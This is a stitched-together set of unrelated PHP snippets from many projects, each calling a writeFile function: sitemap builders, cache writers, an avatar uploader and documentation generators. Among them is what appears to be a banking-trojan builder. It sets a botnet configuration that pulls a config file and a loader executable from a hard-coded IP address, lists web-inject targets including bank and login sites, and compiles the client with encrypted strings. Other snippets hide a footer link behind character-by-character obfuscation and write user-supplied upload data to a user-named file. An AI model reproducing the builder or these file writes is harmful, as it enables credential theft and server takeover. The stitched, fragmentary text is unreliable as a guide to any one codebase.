function runTest($data) { global $rebuild; if (array_key_exists('format', $data)) { $output = file('http://server1/include/shield/drawshield?format=' . $data['format'] . '&blazon=' . urlencode($data['blazon'])); } else { $output = file('http://server1/include/shield/drawshield?blazon=' . urlencode($data['blazon'])); } $outfile = 'regress\\' . $data['name'] . '.out'; $difffile = 'regress\\' . $data['name'] . '.diff'; if (!$rebuild and file_exists($outfile)) { $output = explode("\n", rtrim(formatXML($output))); $previous = file($outfile); $diff =& new Text_Diff($output, $previous); $renderer =& new Text_Diff_Renderer(); $diffString = $renderer->render($diff); if ($diffString) { $back = 'red'; $diffCell = '<pre>' . htmlentities($diffString) . '</pre>'; } else { $back = 'green'; $diffCell = 'No changes'; } } else { $back = 'yellow'; $diffCell = 'Output created'; writeFile($outfile, $output); } echo '<tr>'; echo '<td style="background-color:' . $back . '">' . $data['name'] . '</td>'; echo '<td>' . $data['desc'] . '</td>'; echo '<td>' . $diffCell . '</td>'; echo '</tr>'; return !($back == 'red'); }
function bindCacheSetting() { global $_FANWE; $settings = array(); $js_settings = array(); $res = FDB::query("SELECT name,val,is_js FROM " . FDB::table('sys_conf') . " WHERE status = 1"); while ($data = FDB::fetch($res)) { $name = strtolower($data['name']); $settings[$name] = $data['val']; if ($data['is_js'] == 1) { $js_settings[$name] = $data['val']; } } $settings['site_title'] .= ' - ' . 'F' . 'A' . 'N' . 'W' . 'E'; $settings['footer_html'] .= '<' . 'p' . '>' . '<' . 'a' . ' ' . 'h' . 'r' . 'e' . 'f' . '=' . '"' . 'h' . 't' . 't' . 'p' . ':' . '/' . '/' . 'w' . 'w' . 'w' . '.' . 'f' . 'a' . 'n' . 'w' . 'e' . '.' . 'c' . 'o' . 'm' . '"' . ' ' . 't' . 'a' . 'r' . 'g' . 'e' . 't' . '=' . '"' . '_' . 'b' . 'l' . 'a' . 'n' . 'k' . '"' . '>' . 'f' . 'a' . 'n' . 'w' . 'e' . '.' . 'i' . 'n' . 'c' . '<' . '/' . 'a' . '>' . '<' . '/' . 'p' . '>'; writeFile(PUBLIC_ROOT . './js/setting.js', 'var SETTING = ' . getJson($js_settings) . ';'); $config_file = @file_get_contents(PUBLIC_ROOT . 'config.global.php'); $config_file = trim($config_file); $config_file = preg_replace("/[\$]config\\['time_zone'\\].*?=.*?'.*?'.*?;/is", "\$config['time_zone'] = '" . $settings['time_zone'] . "';", $config_file); $config_file = preg_replace("/[\$]config\\['default_lang'\\].*?=.*?'.*?'.*?;/is", "\$config['default_lang'] = '" . $settings['default_lang'] . "';", $config_file); @file_put_contents(PUBLIC_ROOT . 'config.global.php', $config_file); unset($config_file); $lang_arr = array(); $lang_files = array(FANWE_ROOT . './core/language/' . $settings['default_lang'] . '/template.lang.php', FANWE_ROOT . './tpl/' . $settings['site_tmpl'] . '/template.lang.php'); foreach ($lang_files as $lang_file) { if (@(include $lang_file)) { foreach ($lang as $lkey => $lval) { $lang_pre = strtolower(substr($lkey, 0, 3)); if ($lang_pre == 'js_') { $lang_key = substr($lkey, 3); if ($lang_key != '') { $lang_arr[$lang_key] = $lval; } } } } } writeFile(PUBLIC_ROOT . './js/lang.js', 'var LANG = ' . getJson($lang_arr) . ';'); clearDir(FANWE_ROOT . './public/data/tpl/css/'); clearDir(FANWE_ROOT . './public/data/tpl/js/'); $css_dir = FANWE_ROOT . './tpl/' . $settings['site_tmpl'] . '/css/'; $css_cache_dir = FANWE_ROOT . './public/data/tpl/css/'; $css_site_path = $_FANWE['site_root'] . 'tpl/' . $settings['site_tmpl'] . '/'; $directory = dir($css_dir); while ($entry = $directory->read()) { if ($entry != '.' && $entry != '..' && stripos($entry, '.css') !== false) { $css_path = $css_dir . $entry; $css_content = @file_get_contents($css_path); $css_content = preg_replace("/\\.\\.\\//", $css_site_path, $css_content); $css_cache_path = $css_cache_dir . '/' . $entry; writeFile($css_cache_path, $css_content); } } $directory->close(); FanweService::instance()->cache->saveCache('setting', $settings); }
/** * This function will take 3 arguments and pass it to gearman worker to store in database */ function queueAssignment($name, $email, $phone) { $detailsArray = array('name' => $name, 'email' => $email, 'phone' => $phone); $detailsStr = json_encode($detailsArray); writeFile($detailsArray); // client code $client = new GearmanClient(); $client->addServer(); $store = $client->do("saveRecord", $detailsStr); }
function render() { $output = View::do_fetch(getPath('views/main/sitemap.php'), $this->data); // write the sitemap writeFile(APP . 'public/sitemap.xml', $output, 'w'); // write the compressed sitemap writeFile(APP . 'public/sitemap.xml.gz', $output, 'w9'); // view the Sitemap XML //header('Location: ./sitemap.xml'); }
function buildConfigSample($dir) { $host = "http://localhost"; $dt = ";Build time: " . BO_BUILDTIME . "\r\n" . ";Version: " . BO_CLIENT_VERSION . "\r\n\r\n" . "entry \"StaticConfig\"\r\n" . " ;botnet \"btn1\"\r\n" . " timer_config 60 1\r\n" . " timer_logs 30 30\r\n" . " timer_stats 30 1\r\n" . " url_config \"http://141.136.17.181/q3WeFv573.bin\"\r\n" . " remove_certs 1\r\n" . " disable_tcpserver 0\r\n" . "end\r\n\r\n" . "entry \"DynamicConfig\"\r\n" . " url_loader \"http://141.136.17.181/miniinstall.exe\"\r\n" . ($dt .= " file_webinjects \"webinjects.txt\"\r\n" . " entry \"AdvancedConfigs\"\r\n" . " ;\"http://advdomain/cfg1.bin\"\r\n" . " end\r\n" . " entry \"WebFilters\"\r\n" . " \"!*.microsoft.com/*\"\r\n" . " \"!http://*myspace.com*\"\r\n" . " \"https://www.gruposantander.es/*\"\r\n" . " \"!http://*odnoklassniki.ru/*\"\r\n" . " \"!http://vkontakte.ru/*\"\r\n" . " \"@*/login.osmp.ru/*\"\r\n" . " \"@*/atl.osmp.ru/*\"\r\n"); $dt .= " end\r\n" . " entry \"WebDataFilters\"\r\n" . " ;\"http://mail.rambler.ru/*\" \"passw;login\"\r\n" . " end\r\n" . " entry \"WebFakes\"\r\n" . " ;\"http://www.google.com\" \"http://www.yahoo.com\" \"GP\" \"\" \"\"\r\n" . " end\r\n"; $dt .= "end\r\n"; writeFile($dir . "\\config.txt", $dt); $dt = file_get_contents($GLOBALS['dir']['source']['other'] . '\\webinjects.txt'); if (strlen($dt) < 10) { fatalError("Failed to open web injects source file."); } writeFile($dir . '\\webinjects.txt', $dt); }
function generateParameters($dbhost, $dbport, $dbname, $dbusername, $dbpassword, $adminpassword) { $currentUrl = "http://{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}"; $lastSlach = strrpos($currentUrl, "/"); $currentUrl = substr($currentUrl, 0, $lastSlach); $lastSlach = strrpos($currentUrl, "/"); $currentUrl = substr($currentUrl, 0, $lastSlach); $url_param = '/app_dev.php/'; $content = 'parameters:' . PHP_EOL . ' database_driver: pdo_mysql' . PHP_EOL . ' database_host: ' . $dbhost . PHP_EOL . ' database_port: ' . $dbport . PHP_EOL . ' database_name: ' . $dbname . PHP_EOL . ' database_user: '******' database_password: '******' database_path: ~' . PHP_EOL . ' url_base: ' . $currentUrl . PHP_EOL . ' url_param: ' . $url_param . PHP_EOL . ' mailer_transport: smtp' . PHP_EOL . ' mailer_host: localhost' . PHP_EOL . ' mailer_user: ~' . PHP_EOL . ' mailer_password: ~' . PHP_EOL . ' admin_password: '******' locale: en' . PHP_EOL . ' secret: ' . generateRandomString() . PHP_EOL . ' installer: false' . PHP_EOL; writeFile($content, 'parameters.yml'); header("Location: " . $currentUrl . $url_param); exit; }
function bindCacheCity() { $citys = array(); $res = FDB::query("SELECT * FROM " . FDB::table('region') . " ORDER BY id ASC"); while ($data = FDB::fetch($res)) { if ($data['parent_id'] == 0) { $citys['province'][] = $data['id']; } elseif ($data['parent_id'] > 0) { $citys['city'][$data['parent_id']][] = $data['id']; } $citys['all'][$data['id']] = $data; } include_once fimport('class/json'); $json = new JSON(); writeFile(PUBLIC_ROOT . './js/city.js', 'var CITYS = ' . $json->encode($citys) . ';'); FanweService::instance()->cache->saveCache('citys', $citys); }
function main() { $fontName = $_POST['fontName']; // 字体名字 $fontType = $_POST['fontType']; // 字体类型,多个类型用`,`隔开 $encode = $_POST['encode']; // 编码,默认base64 if (empty($fontName)) { return; } $count = 0; if (empty($encode) || $encode === 'base64') { foreach (explode(',', $fontType) as $type) { if (!empty($_POST[$type])) { writeFile($_POST[$type], $fontName . '.' . $type); $count++; } } } }
function deleteConnection($name) { $file = fopen("../data/connections.json", "r") or die(generateResponse("error", "No connections file could be found.")); $contents = fread($file, filesize("../data/connections.json")); fclose($file); $json = json_decode($contents); $new_connections = array(); $found = false; foreach ($json->connections as $i => $connection) { if ($connection->name == $name) { $found = true; } else { array_push($new_connections, array('name' => $connection->name, 'url' => $connection->url)); } } if ($found) { writeFile(json_encode(array('connections' => $new_connections))); echo generateResponse("success", json_encode(array('name' => $name))); } else { die(generateResponse("error", "No connection with the name " . $name . " was found.")); } }
function write() { writeFile($this->filepath, $this->xhtml->out()); }
} if (configBool('client_platforms')) { writeStep("BUILDING CLIENT"); writeFile($dir['source']['common'] . '\\generateddata.h', headerOfHfile() . generateBaseConfigHeader() . "\r\n" . generateInstallData()); generateCryptedStrings($dir['source']['client'] . '\\cryptedstrings'); //Сборка. buildBinary('client', 0, true, true); //Создание данных для билдера. $client32 = ''; $client32 .= "#define CLIENT32_VA_BASECONFIG " . sprintf('0x%08X', getVaFromMap('client', 'win32', 'baseConfigSource')) . "\r\n"; $client32 .= "#define CLIENT32_VA_INSTALL " . sprintf('0x%08X', getVaFromMap('client', 'win32', '_install')) . "\r\n"; //CoreInstall. $client32 .= "#define CLIENT32_VA_UPDATE " . sprintf('0x%08X', getVaFromMap('client', 'win32', '_update')) . "\r\n"; //CoreInstall. $client32 .= "const BYTE _client32[] =\r\n" . binFileToCArray($dir['output']['client'] . '\\' . $commandLineOptions['client']['win32']['name'], 0); writeFile($dir['source']['builder'] . '\\clients.h', headerOfHfile() . $client32 . "\r\n"); } if (configBool('builder_platforms')) { writeStep("BUILDING BUILDER"); buildBinary('builder', 1, true, true); writeStep("BUILDING SAMPLE CONFIGURATION FILE"); buildConfigSample($dir['output']['builder']); //Копируем лицензию, если она сущеcтвует. copyFileIfExists("{$configDir}\\license.key", $dir['output']['builder'] . '\\license.key'); } if (configBool('manual')) { writeStep("BUILDING MANUAL"); copyFile($dir['docs'] . '\\manual_ru.html', $dir['output'][0] . '\\manual_ru.html'); } if (platformEnabled('server', 'php')) { writeStep("BUILDING PHP SERVER");
function getRow($file, $reg, $savefile) { echo $file . "::" . $savefile . "<BR>"; $fp = fopen($file, 'r') or die('end'); $result = array(); while (!feof($fp)) { $row = fgets($fp, 1024); if (preg_match($reg, $row)) { $result[] = $row; echo $row . "::" . $savefile . "<BR>"; } } fclose($fp); // if ( count( $result ) > 0 ) { writeFile(join("", $result), $savefile); // } }
function changeAvatar() { if (empty($_POST["avatar"]["type"])) { return false; } global $config; $allowedTypes = array("image/jpeg", "image/png", "image/gif", "image/pjpeg", "image/x-png"); $avatarFile = "avatars/{$this->esoTalk->user["memberId"]}"; switch ($_POST["avatar"]["type"]) { // Upload an avatar from the user's computer case "upload": // Check for an error submitting the file and for a valid image file type. if ($_FILES["avatarUpload"]["error"] != 0 or !in_array($_FILES["avatarUpload"]["type"], $allowedTypes) or !is_uploaded_file($_FILES["avatarUpload"]["tmp_name"])) { $this->esoTalk->message("avatarError"); return false; } $type = $_FILES["avatarUpload"]["type"]; $file = $_FILES["avatarUpload"]["tmp_name"]; break; // Upload an avatar from a remote url // Upload an avatar from a remote url case "url": // Make sure there is url_fopen if (!ini_get("allow_url_fopen")) { return false; } // Fix up the url $url = str_replace(" ", "%20", html_entity_decode($_POST["avatar"]["url"])); // Get/check the type of image $info = @getimagesize($url); $type = $info["mime"]; $file = $avatarFile; // Check the type of the image, and open file read/write handlers. if (!in_array($type, $allowedTypes) or ($rh = fopen($url, "rb")) === false or ($wh = fopen($file, "wb")) === false) { $this->esoTalk->message("avatarError"); return false; } // Transfer the image. while (!feof($rh)) { if (fwrite($wh, fread($rh, 1024)) === false) { $this->esoTalk->message("avatarError"); return false; } } fclose($rh); fclose($wh); break; case "none": // Delete the avatar file. if (file_exists($avatarFile) and !@unlink($avatarFile)) { $this->esoTalk->message("avatarError"); return false; } // Clear the avatarFormat. $this->esoTalk->db->query("UPDATE {$config["tablePrefix"]}members SET avatarFormat=NULL WHERE memberId={$this->esoTalk->user["memberId"]}"); $this->esoTalk->user["avatarFormat"] = $_SESSION["user"]["avatarFormat"] = ""; return true; default: return false; } // Phew, we got through all that. Now let's turn the image into a resource... switch ($type) { case "image/jpeg": case "image/pjpeg": $image = @imagecreatefromjpeg($file); break; case "image/x-png": case "image/png": $image = @imagecreatefrompng($file); break; case "image/gif": $image = @imagecreatefromgif($file); } if (!$image) { $this->esoTalk->message("avatarError"); return false; } // ...and get its dimensions. list($curWidth, $curHeight) = getimagesize($file); // The dimensions we'll need are the normal avatar size and a thumbnail. $dimensions = array("" => array($config["avatarMaxWidth"], $config["avatarMaxHeight"]), "_thumb" => array($config["avatarThumbHeight"], $config["avatarThumbHeight"])); // Create new destination images according to the $dimensions. foreach ($dimensions as $suffix => $values) { // If the new max dimensions exist and are smaller than the current dimensions, we're gonna want to resize. $newWidth = $values[0]; $newHeight = $values[1]; if (($newWidth or $newHeight) and ($newWidth < $curWidth or $newHeight < $curHeight)) { // Work out the resize ratio and calculate the dimensions of the new image. $widthRatio = $newWidth / $curWidth; $heightRatio = $newHeight / $curHeight; $ratio = ($widthRatio and $widthRatio <= $heightRatio) ? $widthRatio : $heightRatio; $width = $ratio * $curWidth; $height = $ratio * $curHeight; $needsToBeResized = true; } else { $width = $curWidth; $height = $curHeight; $needsToBeResized = false; } // Set the destination. $destination = $avatarFile . $suffix; // Delete their current avatar. if (file_exists("{$destination}.{$this->esoTalk->user["avatarFormat"]}")) { unlink("{$destination}.{$this->esoTalk->user["avatarFormat"]}"); } // If it's a gif that doesn't need to be resized (and it's not a thumbnail), we move instead of resampling so as to preserve animation. if (!$needsToBeResized and $type == "image/gif" and $suffix != "_thumb") { $handle = fopen($file, "r"); $contents = fread($handle, filesize($file)); fclose($handle); // Filter the first 256 characters of the contents. $tags = array("!-", "a hre", "bgsound", "body", "br", "div", "embed", "frame", "head", "html", "iframe", "input", "img", "link", "meta", "object", "plaintext", "script", "style", "table"); $re = array(); foreach ($tags as $tag) { $part = "(?:<"; $length = strlen($tag); for ($i = 0; $i < $length; $i++) { $part .= "\\x00*" . $tag[$i]; } $re[] = $part . ")"; } if (preg_match("/" . implode("|", $re) . "/", substr($contents, 0, 255))) { $needsToBeResized = true; } else { writeFile($destination . ".gif", $contents); } } if ($needsToBeResized or $type != "image/gif" or $suffix == "_thumb") { // -waves magic wand- Now, let's create the image! $newImage = imagecreatetruecolor($width, $height); // Preserve the alpha for pngs and gifs. if (in_array($type, array("image/png", "image/gif", "image/x-png"))) { imagecolortransparent($newImage, imagecolorallocate($newImage, 0, 0, 0)); imagealphablending($newImage, false); imagesavealpha($newImage, true); } // (Oh yeah, the reason we're doin' the whole imagecopyresampled() thing even for images that don't need to be resized is because it helps prevent a possible cross-site scripting attack in which the file has malicious data after the header.) imagecopyresampled($newImage, $image, 0, 0, 0, 0, $width, $height, $curWidth, $curHeight); // Save the image to the correct destination and format. switch ($type) { // jpeg case "image/jpeg": case "image/pjpeg": if (!imagejpeg($newImage, "{$destination}.jpg", 85)) { $saveError = true; } break; // png // png case "image/x-png": case "image/png": if (!imagepng($newImage, "{$destination}.png")) { $saveError = true; } break; case "image/gif": if (!imagepng($newImage, "{$destination}.gif")) { $saveError = true; } } if (!empty($saveError)) { $this->esoTalk->message("avatarError"); return false; } // Clean up. imagedestroy($newImage); } } // Clean up temporary stuff. imagedestroy($image); @unlink($file); // Depending on the type of image that was uploaded, update the user's avatarFormat. switch ($type) { case "image/jpeg": case "image/pjpeg": $avatarFormat = "jpg"; break; case "image/x-png": case "image/png": $avatarFormat = "png"; break; case "image/gif": $avatarFormat = "gif"; } $this->esoTalk->db->query("UPDATE {$config["tablePrefix"]}members SET avatarFormat='{$avatarFormat}' WHERE memberId={$this->esoTalk->user["memberId"]}"); $this->esoTalk->user["avatarFormat"] = $_SESSION["user"]["avatarFormat"] = $avatarFormat; return true; }
//output newly written file } else { //else if matching files found $match = $matches[0]; //newest matching file $filedate = substr($match, strrpos($path, '-') + 1); //get date of matched file $fileage = $time - $filedate; //determine file age if ($time - $filedate > $expire) { //check if file has expired foreach ($matches as $file) { unlink($file); } //delete all expired files writeFile($path, $input); //write fresh file to server outputFile($path, $json); //output freshly written file } else { outputFile($match, $json); } //else output cached file } //matched file loop } //passed urls loop } //if no cache bypass loop if ($json) { echo str_replace('\\/', '/', json_encode($allData));
// Twitter OAuth Config options $oauth_access_token = $auth_config['oauth_access_token']; $oauth_access_token_secret = $auth_config['oauth_access_token_secret']; $consumer_key = $auth_config['consumer_key']; $consumer_secret = $auth_config['consumer_secret']; $user_id = $_GET['user_id']; $count = intval($_GET['count']); $twitter_url = 'statuses/user_timeline.json'; $twitter_url .= '?user_id=' . $user_id; $twitter_url .= '&count=' . $count; // Create a Twitter Proxy object from our twitter_proxy.php class $twitter_proxy = new TwitterProxy($oauth_access_token, $oauth_access_token_secret, $consumer_key, $consumer_secret, $user_id, $count); // Invoke the get method to retrieve results via a cURL request $tweets = $twitter_proxy->get($twitter_url); // Write filtered tweets to file. writeFile('testFile.json', '../data', $tweets); // Return original tweets. echo $tweets; } function writeFile($filename, $dir, $tweetData) { if (!file_exists($dir)) { mkdir($dir, 0777, true); } $filepath = "{$dir}/{$filename}"; $filtered_tweets = array_map(function ($tweet) { $user = $tweet->{'user'}; return (object) array('userId' => $user->{'id'}, 'user' => $user->{'name'}, 'location' => $user->{'location'}, 'text' => $tweet->{'text'}, 'date' => $tweet->{'created_at'}, 'retweetCount' => $tweet->{'retweet_count'}, 'favoriteCount' => $tweet->{'favorite_count'}); }, json_decode($tweetData)); $fh = fopen($filepath, 'w'); fwrite($fh, json_format($filtered_tweets));
$urlset .= "<priority>0.8</priority>"; } else { $urlset .= "<priority>0.9</priority>"; } $urlset .= "</url>"; } // [Encode, and] write out the file. $urlset .= "</urlset>"; if (ZLIB) { $urlset = gzencode($urlset, 9); } writeFile($filename, $urlset); // And increment the counter for the next cycle. $i++; } } // Now we're gonna generate the sitemap index. $sitemap = "<?xml version='1.0' encoding='UTF-8'?><sitemapindex xmlns='http://www.sitemaps.org/schemas/sitemap/0.9'><sitemap><loc>{$config["baseURL"]}sitemap.general.xml</loc></sitemap>"; // For each conversation sitemap that we wrote, up until we break'd, add a <sitemap> entry to the index. for ($j = 1; $j < $i; $j++) { $sitemap .= "<sitemap><loc>{$config["baseURL"]}sitemap.conversations.{$j}.xml" . ZLIB . "</loc><lastmod>" . gmdate("Y-m-d\\TH:i:s+00:00") . "</lastmod></sitemap>"; } $sitemap .= "</sitemapindex>"; // And write out! writeFile("sitemap.xml", $sitemap); } // Whether we generated new sitemaps or are using a cached version, let's include the sitemap index and serve it as xml. header("Content-type: text/xml"); $handle = fopen("sitemap.xml", "r"); echo fread($handle, filesize("sitemap.xml")); fclose($handle);
$libraries = array('net', 'serial', 'video', 'dxf', 'pdf', 'sound', 'io'); $lib_dir = DISTDIR . 'libraries'; // Create Library index $index = CONTENTDIR . "api_en/libraries/index.html"; $page = new LocalPage('Libraries', 'Libraries', 'Libraries', '../'); $page->content(file_get_contents($index)); writeFile('distribution/libraries/index.html', $page->out()); // For each Library foreach ($libraries as $lib) { $source = "api_en/LIB_{$lib}"; $destination = "libraries/{$lib}"; //make_necessary_directories(DISTDIR.$destination.'/images/include'); $index = CONTENTDIR . $source . '/index.html'; $page = new LocalPage(ucfirst($lib) . ' \\ Libraries', 'Libraries', 'Libraries', '../../'); $page->content(file_get_contents($index)); writeFile('distribution/' . $destination . '/index.html', $page->out()); } if (is_dir(DISTDIR . 'libraries/images')) { rmdir(DISTDIR . 'libraries/images'); } mkdir(DISTDIR . 'libraries/images', 0755); copydirr(CONTENTDIR . "api_en/libraries/images", DISTDIR . 'libraries/images'); $benchmark_end = microtime_float(); $execution_time = round($benchmark_end - $benchmark_start, 4); ?> <h2>Local library generation successful!</h2> <p>Generated files in <?php echo $execution_time; ?> seconds.</p>
function bindCacheSetting() { global $_FANWE; $settings = array(); $js_settings = array(); $res = FDB::query("SELECT name,val,is_js FROM " . FDB::table('sys_conf') . " WHERE status = 1"); while ($data = FDB::fetch($res)) { $name = strtolower($data['name']); $settings[$name] = $data['val']; if ($data['is_js'] == 1) { $js_settings[$name] = $data['val']; } } writeFile(PUBLIC_ROOT . './js/setting.js', 'var SETTING = ' . getJson($js_settings) . ';'); $pingJs = ''; //采集JS初始化 $pingJs = @file_get_contents(PUBLIC_ROOT . './js/demo.js'); $domain = 'var domain = "' . $_FANWE['site_url'] . '"; '; $host_name = 'var hostName = "' . str_replace("http://", "", $_FANWE['site_url']) . '"; '; $tpl_name = 'var tplName = "' . $_FANWE['setting']['site_tmpl'] . '"; '; $yz_name = 'var global="TUPU";document[global]=document[global] || {};'; $im_ping_js = ''; $im_ping_js = $host_name . $domain . $tpl_name . $yz_name . $pingJs; writeFile(PUBLIC_ROOT . './js/im.ping.js', $im_ping_js); $config_file = @file_get_contents(PUBLIC_ROOT . 'config.global.php'); $config_file = trim($config_file); $config_file = preg_replace("/[\$]config\\['time_zone'\\].*?=.*?'.*?'.*?;/is", "\$config['time_zone'] = '" . $settings['time_zone'] . "';", $config_file); $config_file = preg_replace("/[\$]config\\['default_lang'\\].*?=.*?'.*?'.*?;/is", "\$config['default_lang'] = '" . $settings['default_lang'] . "';", $config_file); @file_put_contents(PUBLIC_ROOT . 'config.global.php', $config_file); unset($config_file); $lang_arr = array(); $lang_files = array(FANWE_ROOT . './core/language/' . $settings['default_lang'] . '/template.lang.php', FANWE_ROOT . './tpl/' . $settings['site_tmpl'] . '/template.lang.php'); foreach ($lang_files as $lang_file) { if (@(include $lang_file)) { foreach ($lang as $lkey => $lval) { $lang_pre = strtolower(substr($lkey, 0, 3)); if ($lang_pre == 'js_') { $lang_key = substr($lkey, 3); if ($lang_key != '') { $lang_arr[$lang_key] = $lval; } } } } } writeFile(PUBLIC_ROOT . './js/lang.js', 'var LANG = ' . getJson($lang_arr) . ';'); clearDir(FANWE_ROOT . './public/data/tpl/css/'); clearDir(FANWE_ROOT . './public/data/tpl/js/'); $css_dir = FANWE_ROOT . './tpl/' . $settings['site_tmpl'] . '/css/'; $css_cache_dir = FANWE_ROOT . './public/data/tpl/css/'; $css_site_path = $_FANWE['site_root'] . 'tpl/' . $settings['site_tmpl'] . '/'; $directory = dir($css_dir); while ($entry = $directory->read()) { if ($entry != '.' && $entry != '..' && stripos($entry, '.css') !== false) { $css_path = $css_dir . $entry; $css_content = @file_get_contents($css_path); $css_content = preg_replace("/\\.\\.\\//", $css_site_path, $css_content); $css_cache_path = $css_cache_dir . '/' . $entry; writeFile($css_cache_path, $css_content); } } $directory->close(); FanweService::instance()->cache->saveCache('setting', $settings); }
function output_file(&$menu_array, $rel_path = '/') { $page = new Page($this->name . ' \\ Examples', $this->sub, "", "../"); $page->subtemplate('template.example.html'); $page->content($this->display()); $page->set('examples_nav', $this->back_to_list()); //writeFile("learning/".strtolower($this->sub)."/".strtolower($this->name).".html", $page->out()); // Move 2 May 2013 writeFile("examples/" . strtolower($this->name) . ".html", $page->out()); $this->copy_media(); echo $this->name . '<br />'; #echo "learning/examples/".strtolower($this->sub)."/".strtolower($this->name).".html\n"; }
//Create Topics html $html .= "<b>Topic Examples</b>. <i>Programs about to animation, interaction, motion, simulation, and more...</i><br /><br /><br />"; $html .= "<ul class=\"examples\">\n"; foreach ($catTopics as $cat => $array) { $html .= "<li><ul><li><b>{$cat}</b></li><br />"; foreach ($array as $file => $name) { $thisfile = strtolower($file); $html .= "\t<li><a href=\"{$thisfile}\">{$name}</a></li>\n"; } $html .= '</ul></li>'; } $html .= "</ul>"; $page->content($html); // Change 2 May 2013 //writeFile('learning/'.strtolower($subdir).'/index.html', $page->out()); writeFile('examples/index.html', $page->out()); $benchmark_end = microtime_float(); $execution_time = round($benchmark_end - $benchmark_start, 4); ?> <h2>Examples pages generation Successful</h2> <p>Generated <?php echo $count + 1; ?> files in <?php echo $execution_time; ?> seconds.</p> <h2>Updated <?php echo $where; ?>
$where = CONTENTDIR . 'static'; putenv('HOME=' . CONTENTDIR); `cd {$where} && /usr/bin/svn update`; // make troubleshooting page $source = CONTENTDIR . "static/"; #$path = BASEDIR; $page = new Page("Overview", "Overview"); $page->content(file_get_contents($source . "overview.html")); writeFile('overview/index.html', $page->out()); #copydirr($source.'/images', $path.'/images'); $page = new Page("Foundation", "Foundation"); $page->content(file_get_contents($source . "foundation.html")); writeFile('foundation/index.html', $page->out()); $page = new Page("People", "People"); $page->content(file_get_contents($source . "people.html")); writeFile('people/index.html', $page->out()); $benchmark_end = microtime_float(); $execution_time = round($benchmark_end - $benchmark_start, 4); ?> <h2>About page generation Successful</h2> <p>Generated files in <?php echo $execution_time; ?> seconds.</p> <!--<p>Page put here: <?php echo $source . "faq.html"; ?> </p>--> <!--<p>Page put here: <?php echo $path . 'faq.html';
<?php require '../config.php'; $benchmark_start = microtime_float(); // make troubleshooting page $source = CONTENTDIR . "static/"; #$path = BASEDIR; $page = new LocalPage('Copyright', "Copyright", "Copyright", './'); $page->content(file_get_contents($source . "copyright.html")); writeFile('distribution/copyright.html', $page->out()); $page = new LocalPage('People', "People", "People", '../'); $page->content(file_get_contents($source . "people.html")); writeFile('distribution/about/people.html', $page->out()); $benchmark_end = microtime_float(); $execution_time = round($benchmark_end - $benchmark_start, 4); ?> <h2>Local static pages generation successful!</h2> <p>Generated files in <?php echo $execution_time; ?> seconds.</p>
$table_name = $cgi[t_name]; } $sqlstr = sprintf("update temp set t_name='%s'", $table_name); foreach($poly_data as $pm_id=>$row) { $ff= "html_" . $pm_id; $html = $cgi[$ff]; $ff= "defaulturl_" . $pm_id; $url = $cgi[$ff]; $filename = sprintf("%s/tmpl_%d_%d.htm", $row[file_path], $t_id, $pm_id); writeFile($filename, $html); $sqlstr .= sprintf(", html_%d='%s', defaulturl_%d='%s'", $pm_id, mysql_escape_string($html), $pm_id, $url); } $sqlstr .= sprintf(" where t_id=%ld", $t_id); $res = mysql_query($sqlstr, $proj_mysql) or sys_exit("系统忙, 请稍候再试。", $sqlstr . ":\n" . mysql_error()); $sqlstr = sprintf("create table %s ( d_id int(12) unsigned auto_increment primary key, cu_id int(10), creator Varchar(40), mu_id int(10), mender varchar(40), createdatetime datetime not null,
public function load($file, $path) { $file = $path . "/" . $file; if (is_file($file)) { $encoded_str = getFile($file); } else { $encoded_str = eaccelerator_encode(basename($_SERVER["PHP_SELF"])); writeFile($encoded_str, "wb"); } eaccelerator_load($encoded_str); }
/** * 保存缓存数据 * @param string $cache_name 缓存键名 * @param mixed $data 数据 * @return void */ public function saveCache($cache_name, $data) { global $_FANWE; static $isfile_cache = NULL, $allow_memory = NULL; if ($isfile_cache === NULL) { $isfile_cache = true; $allow_memory = $this->memoryHandler('check'); } $allow_memory && $this->memoryHandler('rm', $cache_name); $allow_memory && $this->memoryHandler('set', $cache_name, $data); if ($isfile_cache) { $cache_data = "<?php\n" . '$data[\'' . $cache_name . "'] = " . var_export($data, true) . ";\n\n?>"; writeFile($this->cache_path . $cache_name . '.cache.php', $cache_data); } }
require_once 'master_validation.php'; require_once 'lib/nangkoelib.php'; require_once 'config/connection.php'; require_once 'lib/zLib.php'; $pemisah = $_POST['pemisah']; $jenisdata = $_POST['jenisdata']; $path = 'tempExcel'; $optSatKeg = makeOption($dbname, 'setup_kegiatan', 'kodekegiatan,satuan'); $optSatBrg = makeOption($dbname, 'log_5masterbarang', 'kodebarang,satuan'); if (is_dir($path)) { writeFile($path, $pemisah); //chmod($path, 0777); } else { if (mkdir($path)) { writeFile($path, $pemisah); // chmod($path, 0777); } else { echo "<script> alert('Gagal, Can`t create folder for uploaded file');</script>"; exit(0); } } function writeFile($path, $pemisah) { global $jenisdata; $dir = $path; $ext = explode('.', basename($_FILES['filex']['name'])); $ext = $ext[count($ext) - 1]; $ext = strtolower($ext); if ($ext == 'csv') { $path = $dir . "/" . date('ymd') . "." . $ext;
function sendMail($subject, $body, $to, $from = "ACM BIT Mesra <*****@*****.**>") { require_once MAIL_PATH; $headers = array('From' => $from, 'To' => $to, 'Subject' => $subject, 'Date' => date("Y-m-d H:i:s") . " +0530", 'Content-Type' => 'text/html', 'charset' => 'UTF-8'); $smtp = Mail::factory('smtp', array('host' => MAIL_HOST, 'port' => MAIL_PORT, 'auth' => true, 'username' => MAIL_USER, 'password' => MAIL_PASS)); $mail = $smtp->send($to, $headers, $body); $data = "Mail:\n" . print_r(array("To" => $to, "From" => $from, "Subject" => $subject, "Body" => $body), true); if (PEAR::isError($mail)) { writeError($data); return false; } writeFile(COMMENTS_LOG, $data); return true; }
/** * 创建前台管理锁定 * @return void */ function createManageLock($module, $id) { global $_FANWE; $module = strtolower($module); $phth = PUBLIC_ROOT . './manage/' . $module; makeDir($phth); $lock_file = $phth . '/' . $id . '.lock'; $data = array('uid' => $_FANWE['uid'], 'user_name' => $_FANWE['user_name'], 'time' => TIME_UTC); $data = "<?php\n" . '$lock = ' . var_export($data, true) . ";\n?>"; return writeFile($lock_file, $data); }
